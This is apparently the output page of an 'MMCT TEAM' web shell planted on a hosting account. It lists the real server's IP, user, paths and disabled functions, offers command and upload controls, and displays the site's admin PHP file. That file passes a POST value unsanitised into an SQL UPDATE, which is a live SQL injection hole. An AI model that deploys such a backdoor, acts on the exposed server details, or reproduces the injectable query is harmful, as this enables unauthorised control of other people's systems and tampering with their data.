MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 18.116.60.124
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/admin/queries_ajax.php
 <?php
require_once 'lib/core.php';


//FETCHING PENDING QUERIES DATA DETAILS

if(isset($_POST['pending']))
{
    $sql="select vp.full_name,vl.email,vl.contact,e.* from vendor_profile vp,vendor_login vl,enquiry e where vl.id=vp.vendor_id and e.status='pending' and vl.id=e.vendor_id order by e.id";
    if($result=$conn->query($sql))
    {
      if($result->num_rows)
      {
       
            while($row=$result->fetch_assoc())
            {
               $pdata[]=$row;
            }
          echo json_encode($pdata);
        }
    }
    else
      echo "error";
}

if(isset($_POST['response']))
{
    $id=$_POST['response'];
    $sql="update enquiry set status='responded' where id=$id";
    if($result=$conn->query($sql))
    {
        echo "success";
    }
    else
      echo "error";
}

//FETCHING RESPONDED QUERIES DATA DETAILS

if(isset($_POST['responded']))
{
    $sql="select vp.full_name,vl.email,vl.contact,e.* from vendor_profile vp,vendor_login vl,enquiry e where vl.id=vp.vendor_id and e.status='responded' and vl.id=e.vendor_id order by e.id desc";
    if($result=$conn->query($sql))
    {
      if($result->num_rows)
      {
       
            while($row=$result->fetch_assoc())
            {
               $rdata[]=$row;
            }
          echo json_encode($rdata);
        }
    }
    else
      echo "error";
}

MMCT - 2023